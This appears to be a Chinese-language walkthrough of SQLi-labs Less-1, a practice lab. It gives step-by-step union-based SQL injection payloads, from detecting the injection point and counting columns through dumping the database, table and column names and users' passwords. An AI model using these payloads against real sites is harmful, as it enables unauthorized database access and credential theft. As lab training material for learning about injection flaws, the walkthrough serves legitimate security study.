判断是否存在注入点
加入单引号查看是存在注入Less-1/?id=1’
发现报语法错误,说明’被带入数据库中查询,并未被过滤,原因是无论字符型还是整型都会因为单引号个数不匹配而报错,说明大概率存在sql注入漏洞
判断注入点类型(字符型或数字型)
Less-1/?id=1’and ‘1’=’1
Less-1/?id=1’and ‘1’=’2
则推断出为字符型注入点
判断列数
知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数
?id=1’order by 3 –+
order by 4 报错
判断显错位
判断其第几列有回显,这里注意id后面的数字要采用一个不存在的数字,比如-1Less-1/?id=-1' union select 1,2,3 --+
2和3都是显错位
爆库名
Less-1/?id=-1' union select 1,database(),3 --+
爆表名
Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1 --+
Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
第二种虽然方便,但显示位不够时可能出现问题
爆字段
Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='user' --+
同样也可以使用limit一个一个显示
爆数据
Less-1/?id=-1' union select 1,username,password from users --+
Less-1/?id=-1' union select 1,username,password from users limit 1,1 --+
同样也可一次性显示Less-1/?id=-1' union select 1,2,group_concat(id,username,password) from users limit 1,1 --+